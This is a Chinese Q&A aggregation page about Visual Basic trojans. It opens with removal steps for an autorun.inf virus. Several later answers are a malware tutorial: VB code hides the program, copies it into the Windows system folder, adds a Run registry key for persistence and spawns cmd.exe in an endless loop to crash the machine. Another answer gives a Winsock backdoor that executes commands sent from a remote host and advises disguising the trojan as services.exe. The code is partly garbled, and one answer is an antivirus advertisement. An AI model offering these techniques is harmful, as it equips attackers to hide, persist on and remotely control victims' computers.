本文目录一览：
- 1、木马病毒VB
- 2、用VB怎么制作简单的木马视频
- 3、用VB怎么做木马程序？
- 4、为什么我自己编写的一个VB程序被360指认为木马呢？只是修改了一下开机启动项。
- 5、VB能写木马类的软件吗？
- 6、用vb怎么编写木马程序?
木马病毒VB
解决方法如下，
开机按F8，进入安全模式。
请按步骤执行：
先打开我的电脑→工具→文件夹选项→查看→选中显示所有文件和文件夹，去掉“隐藏受保护的系统文件”的选中，让所有的文件都显示出来
然后右击D盘→打开的方法打开D盘，你会看到auotrun.inf文件，先不要删除它，双击它,会自动用记事本打开这个文件，里面有open="一个有exe文件"，到这里你要记信这个open后的这个exe文件，然后关闭记事本。
接下来，右击任务栏→任务管理器→进程→找到你刚才看到的open后的那个exe文件的进程→右击→结束进程树。再到D盘下面，你应该可以顺序删除里面的autorun.inf和open指向的exe文件了。
一般它还会感染其他盘，并且会在注册表里面有启动项，只要你重启就会重新发作，所以你还要把其它的盘检查一次。然后删掉注册表里的启动项，方法如下：
开始→运行→regedit，进入注册表，打下如下的子键：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
在右边找open＝指定的那个exe文件的启动项。一般会是c:\windiws\*****.exe之类！！
如果有，右击→删除即可！！这样就不会再发作了！
到此应该可以解决了！！！
建议使用360安全卫士 AVG 超级巡警!!!! 来查杀木马！！
用瑞星或卡巴斯基来查杀病毒！！
===================
1、按Ctrl+Alt+Delete调出任务管理器，在进程页面中结束掉所有名称为病毒的进程（建议在后面的操作中反复此操作，以确保病毒文件不会反复发作）。
2、在开始－－运行中输入“regedit”（XP系统）打开注册表，点“编辑”——“查找”，在弹出的对话框中输入病毒文件名，找到后全删。
3、在我的电脑－工具－文件夹选项－查看－显示所有文件和文件夹，把“隐藏受保护的系统文件”的勾去掉，你会看到出现了你所说的文件名的文件，直接删除
用VB怎么制作简单的木马视频
打开VB---
第一步，隐藏一下我们的小东西！
把Visible 设为False，这样打开程序，在桌面会看不到。
加入代码
App.TaskVisible = False
这样就在任务管理器中隐藏了。
第二步，写入自我复制代码
Dim f As String
f = App.Path "\" App.EXEName ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe" '这个bo.exe大家可以改下名，随便改。
FileCopy f, d
第三步，实现开机启动。
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe" 'bo.exe要与上面相吻合。
加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\bo.exe了，呵呵
第四步 让机器死机
Do
shell "cmd.exe"
loop
用VB怎么做木马程序？
第一种模防windows进程名,services.exe 这样他中止不了,然后看让你的木马操作了,一般都假装系统进程,然后在后台开避一个监听端口,等待客户机远程联接,这里面用Winstock编程,等到连接成功后,客户机就可以发指令了.然后执行,如果没有VB运行库的话,首先将程序打包,然后把所需的文件提出来,用Winrar压缩成.exe就可以了.QQ:905906
为什么我自己编写的一个VB程序被360指认为木马呢？只是修改了一下开机启动项。
您好
1，如果是您自己编写的程序，那么属于误报。
2，建议您使用电脑管家作为您电脑中的杀毒软件。
3，电脑管家拥有自主研发的管家第二代鹰眼智能反病毒引擎，采用了新一代的机器学习技术，能够精准查杀电脑中的各种顽固木马病毒。
4，此外电脑管家还是通过VB100测试的杀毒软件，VB100号称最具影响力的测试，强调杀毒软件的病毒查杀率及误报率，只有100%查杀流行病毒而不能有1个误报或疏漏，才能获得通过
如果还有其他疑问和问题，欢迎再次来电脑管家企业平台进行提问，我们将尽全力为您解答疑难
VB能写木马类的软件吗？
可以的，下面就是一个木马的部分代码：
Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)
Dim strdata As String
Dim check_blong
on error gogo err_pro
tcpserver(index).GetData strdata
check_blong = InStr(Trim(strdata), "Exec")
If check_blong 0 Then
strdata = Trim(strdata)
strdata = Right(strdata.Len(strdata) - 4)
Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata
Shell (strdata)
Else
check_blong = InStr(Trim(strdata), "closeOk")
If check_blong 0 Then
tcpserver(index).Close
combol_IP.removeltem (index - 1)
content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！"
Else
ipname.Text = tcpserver(index).RemoteHostIP
txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata
End If
End Sub
不要使坏哟，主要的不给。
用vb怎么编写木马程序?
我觉得吧想编写木马首先要对系统有一定的了解，VB编写木马的话基本都是调用API函数，去实现你想要的功能。比如关机，获取用户名称等等……现在网上有很多简单的木马程序。你可以搜索下，自己去看看。
之前我用Winsock控件编写过个简单的，有兴趣的话，回复我，我发给你参考下